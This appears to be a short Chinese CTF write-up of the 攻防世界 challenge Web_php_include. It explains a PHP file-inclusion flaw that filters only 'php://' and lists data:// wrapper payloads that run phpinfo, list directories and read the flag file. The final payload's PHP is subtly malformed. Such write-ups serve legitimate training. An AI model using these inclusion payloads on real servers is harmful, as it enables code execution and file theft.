32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
zhangfeng113342 分钟前
Warmup Scheduler深度学习训练中,在训练初期使用较低学习率进行预热(Warmup),然后再按照预定策略(如余弦退火、阶梯下降等)衰减学习率的方法
人工智能·深度学习·学习
unable code44 分钟前
内存取证-卡比卡比卡比
网络安全·ctf·misc·1024程序员节·内存取证
日更嵌入式的打工仔1 小时前
LAN9253中文注释第七章
笔记·原文翻译
九丝城主2 小时前
1V1音视频对话3--优化TURN 为生产安全版
安全
red_redemption3 小时前
自由学习记录(118)
学习
临水逸3 小时前
飞牛fnos 2025 漏洞Java跨域URL浏览器
java·开发语言·安全·web安全
独行soc3 小时前
2026年渗透测试面试题总结-24(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
小猪佩奇TONY3 小时前
OpenCL 学习(5)---- OpenCL 内核和内核参数
学习
天荒地老笑话么3 小时前
NAT 下虚拟机为什么能上网:路由表 + SNAT 证明
网络安全
01二进制代码漫游日记3 小时前
自定义类型:联合和枚举(一)
c语言·开发语言·学习·算法